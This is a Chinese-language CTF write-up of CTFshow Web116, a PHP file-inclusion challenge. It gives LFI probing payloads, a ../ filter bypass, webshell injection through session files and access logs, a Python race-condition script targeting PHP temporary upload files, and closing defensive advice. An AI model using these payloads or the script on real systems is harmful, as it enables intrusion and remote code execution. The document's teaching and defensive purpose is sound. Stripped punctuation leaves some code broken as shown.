
1. 项目概述从一道CTF题看文件包含漏洞的深度利用最近在复盘CTFshow的Web题目做到Web116这道关于文件包含的题目时感觉它把文件包含漏洞的几种经典利用姿势和绕过技巧都串起来了非常值得拿出来单独聊聊。很多刚入门Web安全的朋友一听到“文件包含”可能第一反应就是?file../../../../etc/passwd这种简单的目录遍历。但实际上在CTF比赛或者真实渗透测试中尤其是当题目设置了层层过滤和限制时如何灵活运用各种技巧去“包含”我们想要的内容才是真正考验功底的地方。Web116这道题就是一个很好的综合案例它涉及了PHP伪协议、Session文件包含、条件竞争、临时文件利用等多个知识点而且环环相扣。今天我就以一个实战复盘的角度带大家一步步拆解这道题不仅讲清楚怎么做更重点讲明白为什么这么做以及在类似场景下你还能怎么思考。2. 核心漏洞原理与题目环境初探2.1 文件包含漏洞的本质与PHP相关配置文件包含漏洞无论是本地包含LFI还是远程包含RFI其核心问题都源于程序在引入外部文件时对用户传入的文件名参数缺乏足够的过滤和校验。在PHP中这通常与include、require、include_once、require_once这四个函数有关。当这些函数动态包含的文件路径由用户可控时漏洞就产生了。这道题的环境是典型的PHP环境我们需要关注几个关键的PHP配置它们直接影响着我们的利用方式allow_url_fopen与allow_url_include前者允许fopen等函数打开URL如http://、ftp://后者则允许include等函数包含URL。在CTF中allow_url_include默认通常是关闭的这直接封死了远程包含RFI的路径逼迫我们寻找本地包含LFI的技巧。open_basedir这是一个非常重要的安全限制它会将PHP可操作的文件限制在指定的目录树中。题目很可能会设置这个限制防止我们直接读取系统关键文件如/etc/passwd。我们需要找到绕过它的方法或者在其限制范围内寻找可利用的文件。Session配置PHP的Session机制会将Session数据以文件形式存储在服务器上默认在/tmp或session.save_path指定目录。如果我们能控制部分Session数据并知道或能猜到Session文件路径就能通过文件包含来执行其中的代码。注意在实际做题时我们往往没有权限直接查看php.ini配置。判断这些配置状态需要靠“试探”。例如尝试包含一个http://开头的URL如果报错提示allow_url_include被禁用那就确认了尝试读取/etc/passwd如果报open_basedir限制错误那也明确了方向。2.2 Web116题目场景与代码审计猜想虽然我们无法看到题目完整的后端源码但根据“文件包含”这个主题和常见的出题套路我们可以合理推测题目的核心代码结构。通常这类题目的代码骨架是这样的?php error_reporting(0); // 关闭错误显示增加难度 highlight_file(__FILE__); // 模拟一个简单的过滤 $file $_GET[file] ?? index.php; // 常见的过滤去除../防止简单的目录遍历 $file str_replace(../, , $file); // 或者过滤php://、data://等协议 // $file str_replace(php://, , $file); // 最终包含文件 include($file); ?这道题的难点也是价值所在就在于它绝非如此简单。它可能设置了多重过滤比如过滤了../但可能没过滤....//通过双写绕过。过滤了php://但可能没过滤大小写变种PHP://或Php://如果过滤逻辑不严谨。完全禁止了协议逼迫我们寻找服务器上已有的、内容可控的文件如Session文件、日志文件、临时上传文件等。我们的解题过程就是一个不断试探过滤规则、寻找可控输入点、最终构造出有效包含路径的过程。3. 解题思路拆解与步步为营的试探面对一道文件包含题我习惯按照一个清晰的流程来推进而不是盲目尝试。这个流程同样适用于实战渗透。3.1 第一步基础信息收集与过滤规则探测首先我们需要知道我们能控制什么。题目给了file参数这是我们的入口。基础包含测试?fileindex.php。看看是否正常包含首页确认漏洞点存在。协议探测尝试常见的PHP伪协议。?filephp://filter/readconvert.base64-encode/resourceindex.php这是最常用的读取源码的方式。如果返回了一串Base64编码解码后就能看到index.php的源代码。这是关键一步很多题目的突破口就藏在源码注释或其他文件中。?filedata://text/plain,?php phpinfo();?测试data://协议是否允许如果开启且allow_url_include为On可直接执行代码。?fileexpect://ls测试expect://协议通常需要安装扩展较少见。路径遍历探测?file../../../../etc/passwd。如果被过滤尝试绕过双写绕过?file....//....//....//....//etc/passwd如果过滤函数只执行一次替换../为空那么....//会变成../。绝对路径?file/etc/passwd。编码绕过?file..%2F..%2F..%2F..%2Fetc%2FpasswdURL编码。在Web116中经过初步试探我们可能会发现直接使用php://filter读取index.php成功我们拿到了后端部分源码。从源码中发现../被过滤php://、data://等协议关键字也被黑名单过滤。尝试包含/etc/passwd时返回了open_basedir限制的错误信息证实了该限制的存在。至此我们明确了现状不能直接用协议不能跨目录但包含功能本身是存在的。我们需要在open_basedir允许的范围内找到一个我们能写入或能控制其内容的文件。3.2 第二步寻找可控文件——Session文件包含在open_basedir的囚笼里Session文件是最常见的突破口。PHP的Session文件通常存储在/tmp目录Linux或session.save_path指定的位置文件名格式为sess_[session_id]其中session_id就是我们浏览器Cookie中的PHPSESSID值。利用条件服务器开启了Session通常都会。我们能控制部分Session数据比如通过GET/POST参数传入。我们知道Session文件的存储路径和命名规则。我们能通过文件包含漏洞包含到这个Session文件。如何控制Session数据PHP有一个配置项session.serialize_handler它决定了Session数据的序列化方式。默认的php处理器会将形如$_SESSION[name] test;的数据存储为name|s:4:test;。关键在于如果我们可以通过请求参数向$_SESSION数组写入数据我们就能控制文件内容。一种常见的方式是如果服务器使用了session_start()且没有严格验证我们通过GET参数传递的数据可能会被自动注册到$_SESSION中取决于register_globals等古老配置现代环境较少但CTF中常模拟这种场景。更常见的是题目会提供一个功能点比如“设置昵称”将用户输入存入$_SESSION[nickname]。在Web116中的实践通过php://filter读取到的源码我们可能发现一个功能$_SESSION[name] $_GET[name];。这就给了我们写入Session的机会。我们访问?name?php system(ls /);?同时携带一个固定的PHPSESSID比如Cookie:PHPSESSIDctfshow。此时服务器上的Session文件例如/tmp/sess_ctfshow内容就会包含我们传入的PHP代码。最后我们使用文件包含去包含这个文件?file/tmp/sess_ctfshow。如果包含成功其中的PHP代码就会被执行我们就能看到ls /的结果。实操心得这里有一个关键点我们传入的PHP代码需要被正确存储。如果服务器对存入Session的数据做了addslashes()或htmlspecialchars()等转义处理我们的尖括号 会被转义导致代码无法执行。因此我们需要观察源码是如何处理输入的。有时题目会故意留一个不经转义的入口。3.3 第三步高级技巧——利用PHP临时文件与条件竞争如果Session包含的路走不通比如Session数据被严格过滤我们就要考虑更高级的技巧利用PHP上传文件时产生的临时文件。当我们通过HTTP POST上传一个文件时PHP会先将文件保存到一个临时的位置通常是/tmp/phpXXXXXXXXXXXX是随机字符串然后在脚本执行结束后自动删除这个临时文件。这个时间窗口极短。利用思路如果我们能通过文件包含漏洞在临时文件被删除前包含它并执行其中的代码就能实现RCE。这涉及到“条件竞争”Race Condition。如何操作编写攻击脚本我们需要编写一个Python或多线程的脚本同时做两件事线程A不断发起文件上传请求上传一个内容为Webshell如?php eval($_POST[cmd]);?的文件。线程B不断发起文件包含请求尝试包含可能的临时文件路径例如/tmp/phpabc123。爆破临时文件名临时文件名虽然是随机的但模式固定phpXXXXXX。我们可以通过脚本暴力尝试包含大量可能的文件名。竞争时间窗口脚本需要以极高的频率同时进行上传和包含操作争取在临时文件存活的毫秒级时间内命中它。在Web116中的可能性 题目可能提供了一个无害的文件上传点比如上传头像但限制了后缀如只允许.jpg。我们可以上传一个图片马内容包含PHP代码但服务器可能不会按PHP解析。然而临时文件本身没有后缀名如果我们能竞争包含到这个临时文件其中的PHP代码就会被执行。这个过程对网络延迟和脚本效率要求很高是CTF中文件包含题的难点和高端考点。# 一个简化的条件竞争攻击脚本概念示例 import requests import threading import itertools import queue target_url http://target.com/upload.php include_url http://target.com/index.php?file def uploader(): while True: files {file: (shell.php, ?php system($_GET[c]);?, image/jpeg)} requests.post(target_url, filesfiles) def bruter(): chars abcdefghijklmnopqrstuvwxyz0123456789 for length in range(6, 7): # 假设随机部分是6位 for attempt in itertools.product(chars, repeatlength): filename /tmp/php .join(attempt) r requests.get(include_url filename cid) if uid in r.text: # 根据命令回显判断 print(f[] Success! File: {filename}) print(r.text) return # 创建并启动线程 t1 threading.Thread(targetuploader) t2 threading.Thread(targetbruter) t1.daemon True t2.daemon True t1.start() t2.start() t2.join() # 等待爆破线程结束4. Web116详细解题步骤还原与实操基于以上的思路分析我们来还原Web116最可能的解题路径。请注意实际题目可能略有差异但核心逻辑相通。4.1 步骤一源码读取与信息分析首先使用php://filter协议读取首页源码这是标准起手式。GET /index.php?filephp://filter/readconvert.base64-encode/resourceindex.php将返回的Base64字符串解码得到index.php的源代码。假设我们看到了类似下面的代码?php session_start(); error_reporting(0); $file $_GET[file] ?? welcome.php; // 黑名单过滤 $bad_words array(php://, data://, ftp://, zlib://, expect://, ../); $file str_replace($bad_words, , $file); // 设置open_basedir ini_set(open_basedir, /var/www/html:/tmp); include($file); ?关键信息提取使用了黑名单过滤替换了若干协议和../为空。双写绕过可能有效。设置了open_basedir为/var/www/html和/tmp。这意味着我们只能包含这两个目录下的文件。开启了session_start()。Session文件包含成为可能。4.2 步骤二尝试双写绕过与路径确认既然过滤了../我们尝试双写绕过去包含/etc/passwd确认open_basedir并测试过滤逻辑。GET /index.php?file....//....//....//....//etc/passwd预期返回open_basedir错误这证实了限制。同时因为....//被替换成../说明过滤只执行一次双写绕过有效。4.3 步骤三利用Session文件包含获取Shell现在我们需要在/tmp目录下找一个可控文件。Session文件是首选。设置Session数据我们需要找到一个能向$_SESSION写入数据的地方。继续用php://filter读取网站其他文件比如welcome.php、profile.php等。假设在profile.php中发现if(isset($_GET[name])){ $_SESSION[name] $_GET[name]; echo Name updated!; }太好了这是一个完美的注入点而且没有对$_GET[name]进行过滤。写入Webshell代码访问该页面传入PHP代码。注意因为代码会被存入文件我们需要保证其符合PHP语法。通常我们会用?php ... ?包裹。GET /profile.php?name?php eval($_POST[cmd]);?同时为了固定Session文件我们手动设置一个CookiePHPSESSIDctfshow116。包含Session文件现在Session文件应该存储在/tmp/sess_ctfshow116。我们使用文件包含漏洞去包含它。由于../被过滤我们直接用绝对路径并注意双写绕过可能对路径分隔符也生效这里/tmp/本身不在黑名单所以直接包含即可。GET /index.php?file/tmp/sess_ctfshow116如果一切顺利这个请求会执行我们写入的eval($_POST[cmd])代码。但此时页面可能没有回显因为eval执行了但我们需要传递cmd参数。使用POST传递命令我们无法直接通过GET在包含的URL里给$_POST[cmd]赋值。所以我们需要用工具如HackBar, Burp Suite或者curl命令发起一个POST请求。POST /index.php?file/tmp/sess_ctfshow116 HTTP/1.1 ... cmdsystem(ls /);在POST Body中发送cmdsystem(ls /);。如果成功响应体中应该会包含根目录的列表。寻找并读取Flag通常CTF的flag文件名为flag、flag.txt或位于根目录、当前目录。通过执行find / -name *flag* 2/dev/null或ls -la /等命令来定位最后用cat /flag读取flag内容。4.4 步骤四替代方案——日志文件包含如果Session不可行如果题目没有提供可控的Session写入点我们还可以考虑包含日志文件比如Web服务器的访问日志/var/log/apache2/access.log或/var/log/nginx/access.log。前提是日志文件在open_basedir内通常不在但有时出题人会设置进去。利用方式将PHP代码作为User-Agent或请求参数的一部分发送一个请求。这样这段代码就会被记录到访问日志中。GET /index.php HTTP/1.1 User-Agent: ?php phpinfo();?然后通过文件包含漏洞去包含这个日志文件。GET /index.php?file/var/log/apache2/access.log如果日志文件可读且内容被包含后解析phpinfo()就会被执行。这种方法成功率取决于日志路径是否可知、是否在允许目录内、以及日志内容是否会被转义通常不会。5. 常见问题、排查技巧与防御建议5.1 实战中可能遇到的问题及排查问题现象可能原因排查思路包含Session文件无回显1. Session未成功写入。2. 代码被转义。3.open_basedir不包含/tmp虽然题目设置了但实际环境可能不同。4. Session文件命名不对。1. 检查写入Session的页面是否正常响应。2. 尝试写入简单内容?php echo test;?再包含看是否输出test。3. 尝试包含/tmp/下其他已知文件测试。4. 尝试不指定PHPSESSID让服务器分配然后从Cookie中获取再尝试包含。php://filter被过滤黑名单过滤了php://字符串。1. 尝试大小写变种PHP://、pHp://。2. 尝试使用php的编码php://-php:%2F%2F。3. 尝试其他协议如zip://、phar://需配合上传。包含路径返回空白或错误1. 文件不存在。2. 包含的文件语法有误导致解析错误被抑制或错误级别设置。3. 包含了一个非文本文件如图片。1. 确认文件路径和权限。2. 尝试包含一个确定存在的简单文本文件。3. 查看网络响应包的原始内容有时错误信息会在HTML注释里。条件竞争脚本一直不成功1. 时间窗口太短。2. 临时文件命名模式不匹配。3. 上传点有额外验证如Token、重命名。1. 增加并发线程数优化脚本速度。2. 尝试延长临时文件生命周期如果可能例如让目标脚本执行一个sleep()。3. 检查上传后的响应确认文件是否真的以临时文件形式创建。5.2 从攻击者视角看防御理解了如何攻击才能更好地防御。作为开发者避免文件包含漏洞应注意以下几点固定包含文件尽量避免动态包含。如果必须动态请使用白名单机制。// 错误示范 $page $_GET[page]; include($page . .php); // 正确示范白名单 $allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(404.php); }严格过滤输入如果白名单不可行必须对输入进行严格过滤。不仅要过滤../还要考虑各种编码和绕过技巧。但黑名单永远不是最安全的选择。设置PHP安全配置open_basedir将其设置为项目所需的最小目录。allow_url_include务必设置为 Off。session.save_path将其设置为一个非默认的、权限严格的目录。关闭危险函数在php.ini中通过disable_functions禁用不必要的危险函数如eval()、system()、exec()、passthru()等。文件操作使用绝对路径基于项目根目录构造绝对路径进行包含避免使用用户输入直接拼接相对路径。Web116这道题就像一份精心设计的“试卷”考察了对文件包含漏洞从基础到进阶的理解。从简单的协议利用到受限制环境下的Session文件利用再到高难度的条件竞争它覆盖了一个安全研究员在面对黑盒目标时可能采取的多种思路。真正掌握它不仅是为了解一道题更是为了在真实的网络攻防战场上多一份敏锐和从容。